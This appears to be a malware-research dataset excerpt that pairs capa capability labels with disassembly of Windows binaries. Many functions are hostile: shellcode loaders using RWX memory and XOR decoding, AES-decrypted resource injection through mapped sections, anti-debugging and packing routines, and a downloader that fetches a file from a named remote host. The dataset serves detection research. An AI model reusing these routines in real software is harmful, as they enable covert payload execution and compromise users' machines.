joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180007de0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x180029008]
xor rax, rsp
mov qword [rbp + 8], rax
mov eax, dword [0x18001c004]
mov rdi, rcx
test eax, 0xffff0000
je 0x180007fe7
xor r14d, r14d
test rcx, rcx
jne 0x180007e65
call fcn.180007398
mov rdi, rax
test rax, rax
je 0x180007e36
cmp byte [rax], r14b
jne 0x180007e5c
mov rcx, qword [0x18002a1a8]
lea rbx, [0x18002ae50]
mov rdx, rbx
mov r8d, 0x1024
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
cmove rbx, rdi
mov rdi, rbx
test rdi, rdi
je 0x180007fe7
cmp byte [rdi], r14b
je 0x180007fe7
mov ebx, 0x68
lea rcx, [rsp + 0x70]
mov r8d, ebx
xor edx, edx
call fcn.18000c910
xor eax, eax
mov dword [rsp + 0x70], ebx
mov ecx, 0x400
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov dword [rbp - 0x54], 3
mov word [rbp - 0x50], r14w
call fcn.180009d14
mov byte [rbp - 0x20], 0x66
mov rsi, rax
mov byte [rbp - 0x1f], 0x70
mov r8, r14
mov byte [rbp - 0x1e], 0x67
mov byte [rbp - 0x1d], 0x31
mov byte [rbp - 0x1c], bl
mov byte [rbp - 0x1b], 0x7b
mov byte [rbp - 0x1a], bl
mov byte [rbp - 0x19], 0x23
mov byte [rbp - 0x18], 0x32
mov byte [rbp - 0x17], 0x66
mov byte [rbp - 0x16], 0x23
mov byte [rbp - 0x15], 0x77
mov byte [rbp - 0x14], 0x6c
mov byte [rbp - 0x13], 0x70
mov byte [rbp - 0x12], bl
mov byte [rbp - 0x11], 0x72
mov byte [rbp - 0x10], 0x78
mov byte [rbp - 0xf], 0x77
mov byte [rbp - 0xe], 0x23
mov byte [rbp - 0xd], 0x36
mov byte [rbp - 0xc], 0x23
mov byte [rbp - 0xb], 0x29
mov byte [rbp - 0xa], 0x29
mov byte [rbp - 9], 0x23
mov byte [rbp - 8], 0x67
mov byte [rbp - 7], bl
mov byte [rbp - 6], 0x6f
mov byte [rbp - 5], 0x23
mov byte [rbp - 4], 0x28
mov byte [rbp - 3], 0x76
mov byte [rbp - 2], r14b
mov al, byte [rbp - 0x20]
movsx ecx, byte [rbp + r8 - 0x20]
sub ecx, 3
mov byte [rbp + r8 - 0x20], cl
inc r8
cmp r8, 0x1e
jb 0x180007f2e
mov r9, rdi
lea r8, [rbp - 0x20]
mov edx, 0x400
mov rcx, rsi
call fcn.180003c90
call fcn.180003398
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rcx
xor r8d, r8d
lea rcx, [rsp + 0x70]
mov rdx, rsi
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], r14d
call rax
mov rbx, qword [rsp + 0x58]
mov edi, 0x11
test rbx, rbx
je 0x180007fbd
mov r9d, edi
mov r8d, 0x723eb0d5
call fcn.180002400
test rax, rax
je 0x180007fbd
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x50]
test rbx, rbx
je 0x180007fdf
mov r9d, edi
mov r8d, 0x723eb0d5
call fcn.180002400
test rax, rax
je 0x180007fdf
mov rcx, rbx
call rax
mov rcx, rsi
call fcn.1800095f0
mov rcx, qword [rbp + 8]
xor rcx, rsp
call fcn.1800095a0
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x18000851c
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode
Terminate thread

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov eax, dword [0x18001c004]
xor ebx, ebx
xor edi, edi
mov esi, edx
mov r14, rcx
test eax, 0xffff0000
je 0x180008584
xor r9d, r9d
lea edx, [rbx + 1]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov rbx, rax
test rax, rax
je 0x180008584
and qword [rsp + 0x28], rdi
lea r8, [0x1800084ec]
and dword [rsp + 0x20], edi
mov r9, rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov rbp, rax
test rsi, rsi
je 0x1800085cb
sub r14, rax
mov rcx, rdx
lea r8, [rdx + rbp]
and ecx, 0xf
lea rax, [0x18001c008]
inc rdx
mov al, byte [rcx + rax]
xor al, byte [r14 + r8]
mov byte [r8], al
cmp rdx, rsi
jb 0x1800085a8
call rbp
shr rsi, 1
mov r8d, 0x8000
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test rbx, rbx
je 0x1800085f0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
test rdi, rdi
je 0x18000861b
mov edx, 0x64
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x180008612
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x180008629
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140a180b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140a18237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140a180e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a180c7
add dl, dl
jne 0x140a180ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a1814e
xor eax, eax
add dl, dl
jne 0x140a180fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140a18205
add dl, dl
jne 0x140a1810e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a1811b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a18128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a18135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140a18142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140a180d6
mov eax, 1
add dl, dl
jne 0x140a1815e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140a1816b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a18153
sub eax, ebx
mov ebx, 1
jne 0x140a181a4
mov ecx, 1
add dl, dl
jne 0x140a18186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a18193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a1817b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a180d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140a181c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140a181cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140a181b5
cmp eax, 0x7d00
jae 0x140a181f3
cmp eax, 0x500
jb 0x140a181ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a180d6
cmp eax, 0x7f
ja 0x140a181f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140a180d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140a1822a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140a180d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14094f058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14094f1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14094f089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14094f06f
add dl, dl
jne 0x14094f096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14094f0f6
xor eax, eax
add dl, dl
jne 0x14094f0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14094f1ad
add dl, dl
jne 0x14094f0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14094f0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14094f0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14094f0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14094f0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14094f07e
mov eax, 1
add dl, dl
jne 0x14094f106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14094f113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14094f0fb
sub eax, ebx
mov ebx, 1
jne 0x14094f14c
mov ecx, 1
add dl, dl
jne 0x14094f12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14094f13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14094f123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094f07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14094f168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14094f175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14094f15d
cmp eax, 0x7d00
jae 0x14094f19b
cmp eax, 0x500
jb 0x14094f196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094f07e
cmp eax, 0x7f
ja 0x14094f19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094f07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14094f1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14094f07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x401830
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00407970
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.00407970
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x4018a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x0040c0c4]
mov r12, rcx
test ebx, ebx
jle 0x4019d0
mov rax, qword [0x0040c0c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x4018ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x401973
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x4018d0
mov rcx, r12
call fcn.00402250
mov rsi, rax
test rax, rax
je 0x4019f2
mov rax, qword [0x0040c0c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.00402380
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0040c0c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4019d7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40196c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x401980
add dword [0x0040c0c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x0040c0c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40196c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00401830
nop dword [rax]
xor ebx, ebx
jmp 0x4018f7
mov rax, qword [0x0040c0c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.00401830
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00401830
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x401ec0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0040c120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0040c100]
test rbx, rbx
je 0x401f14
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x401f0b
test r12, r12
je 0x401f0b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x401ef0
lea rcx, [0x0040c120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402250
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x004096e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x402270
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x402278
ret
cmp word [r8 + 0x18], 0x20b
jne 0x402270
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x4022c5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x4022bc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402270
add rax, 0x28
cmp rax, r9
jne 0x4022a8
xor eax, eax
ret

Function at 0x4022d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004096e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4022f0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x4022f8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x4022f0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x402380
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x004096e0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x4023a0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x4023a8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x407ae0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r9d, 0x18
mov dword [rsp + 0x78], edx
mov r12, r8
xor edx, edx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
mov rbx, rcx
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rax, [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
mov edx, 0x800c
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
xor r9d, r9d
mov rcx, qword [rsp + 0x40]
mov rdx, r12
mov r8d, 0x10
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x38]
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x407b78
lea rcx, str.failed__n
call fcn.00407bf0
lea rax, [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x407baa
lea rcx, str.failed__n
call fcn.00407bf0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.error__d_n
mov edx, eax
call fcn.00407bf0
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
nop
add rsp, 0x58
pop rbx
pop r12
ret
Function at 0x407c40
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Map section object

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
add rsp, 0xffffffffffffff80
call fcn.00401610
lea rbx, [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
lea r8, [0x00409013]
xor ecx, ecx
mov edx, 0x64
call qword [sym.imp.KERNEL32.dll_FindResourceA]
xor ecx, ecx
mov r12, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, r12
xor ecx, ecx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
mov rcx, r12
call sub.msvcrt.dll_malloc
mov rcx, r12
mov edx, r12d
lea r8, [0x00408080]
mov rdi, rax
mov rbp, rax
rep movsb byte [rdi], byte [rsi]
mov rcx, rax
mov rsi, rbp
call fcn.00407ae0
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rsp + 0x60]
lea r9, [rsp + 0x70]
mov dword [rsp + 0x20], 0x40
xor r8d, r8d
mov edx, 0xe
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov dword [rsp + 0x74], 0
mov dword [rsp + 0x70], r12d
mov qword [rsp + 0x78], 0
call sub.ntdll.dll_NtCreateSection
mov dword [rsp + 0x48], 4
mov rax, qword [rsp + 0x70]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x68]
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x58], r8
mov qword [rsp + 0x78], rax
call sub.ntdll.dll_NtMapViewOfSection
mov rdi, qword [rsp + 0x68]
mov rcx, r12
rep movsb byte [rdi], byte [rsi]
or rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x68]
call sub.ntdll.dll_NtUnmapViewOfSection
mov dword [rsp + 0x48], 0x20
mov r8, qword [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
mov rcx, qword [rsp + 0x60]
or rdx, 0xffffffffffffffff
mov dword [rsp + 0x40], 0
mov rax, qword [rsp + 0x70]
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x78], rax
call sub.ntdll.dll_NtMapViewOfSection
call qword [rsp + 0x68]
or edx, 0xffffffff
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
sub rsp, 0xffffffffffffff80
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1407513e3
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0x18bfdfae
xor ecx, ecx
sar dword [rsp + 2], 0x3c
cmp ebx, 4
lea rsp, [rsp + 0x10]
jbe 0x140758856
mov eax, 0x94b9fe2d
call fcn.140758842
rdtsc
sub rdi, 8
push 0xffffffffdc084f81
mov dword [rdi + 4], eax
push 0x161300ac
mov dword [rdi], edx
push 0xffffffffb686488a
lea rsp, [rsp + 0x18]
jmp 0x1407333d8
Function at 0x180004620
Capabilities:
Check mutex on windows

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0x3e0
mov rax, qword [0x18001c008]
xor rax, rsp
mov qword [rsp + 0x3d0], rax
movdqa xmm0, xmmword [str.F147EC_C7F5_F89_]
lea r8, [r11 - 0x38]
mov edx, 1
mov dword [r11 - 0x28], 0x394a2d41
xor ecx, ecx
mov dword [r11 - 0x24], 0x44353941
movdqu xmmword [r11 - 0x38], xmm0
mov word [r11 - 0x20], 0x7d
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
sete al
test rbx, rbx
je 0x18000469f
test al, al
je 0x1800046ba
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rcx, qword [rsp + 0x3d0]
xor rcx, rsp
call fcn.1800058d0
add rsp, 0x3e0
pop rbx
ret
lea rax, [rsp + 0x30]
mov edx, 7
lea rcx, str.NetworkRPCService
nop dword [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1800046d0
xor eax, eax
lea rdx, [0x18001fef0]
nop dword [rax]
movzx ecx, byte [rsp + rax + 0xf0]
mov byte [rax + rdx], cl
inc rax
test cl, cl
jne 0x180004730
lea r9, [rsp + 0x30]
call fcn.180003bb0
mov al, 1
jmp 0x1800046a1

Function at 0x180004990
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x30
mov rdi, rcx
test rcx, rcx
je 0x180004a1b
cmp qword [0x18001fee0], 0
mov qword [rsp + 0x48], rbx
jne 0x1800049c8
mov ecx, 8
call fcn.1800058f4
lea rdx, vtable.PluginProvider.0
mov qword [0x18001fee0], rax
mov qword [rax], rdx
mov ecx, 8
call fcn.1800058f4
mov rcx, qword [0x18001fee0]
mov rbx, rax
mov qword [rax], rcx
mov ecx, 0x10
call fcn.1800058f4
xor edx, edx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
lea r8, [0x180004980]
xor ecx, ecx
mov dword [rsp + 0x20], edx
mov qword [rax + 8], rdi
mov r9, rax
mov qword [rax], rbx
mov dword [rsp + 0x40], edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x48]
xor al, al
add rsp, 0x30
pop rdi
ret
Function at 0x140001d4c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d96
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d96
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.api_ms_win_crt_runtime_l1_1_0.dll__configure_narrow_argv
jne 0x140001d96
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d96
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d96
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d98
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x10050
call fcn.1400091a0
sub rsp, rax
mov rax, qword [0x14000f008]
xor rax, rsp
mov qword [rsp + 0x10040], rax
mov rdi, rcx
lea rcx, str.RookIE_1.0
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140001114
lea rdx, str.https:__bypass.oss_cn_hongkong.aliyuncs.com_bypass1.jpg
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x14000110b
lea rdx, [0x14000dcec]
mov rcx, rdi
call fcn.1400017f0
mov rdi, rax
test rax, rax
je 0x140001102
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400010fa
nop
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x1400010fa
lea rcx, [rsp + 0x40]
mov r8d, eax
mov r9, rdi
mov edx, 1
call fcn.140001c88
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x10000
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1400010c0
mov rcx, rdi
call fcn.140001d94
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x10040]
xor rcx, rsp
call fcn.1400012f0
lea r11, [rsp + 0x10050]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140001140
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
mov r11d, dword [0x1400103b8]
xor ebx, ebx
lea r10, [0x140011400]
mov r9d, ebx
mov r8d, ebx
lea rdi, str.bypass6868
nop word [rax + rax]
movsx ecx, byte [r8 + rdi]
mov eax, 0x4ac525d3
inc r8
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r9d
imul edx, edx, 0x6d9
sub ecx, edx
cdq
add cl, 0x4f
xor byte [r10], cl
idiv r11d
test edx, edx
cmove r8, rbx
inc r9d
inc r10
cmp r9d, 0x21f30
jl 0x140001170
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret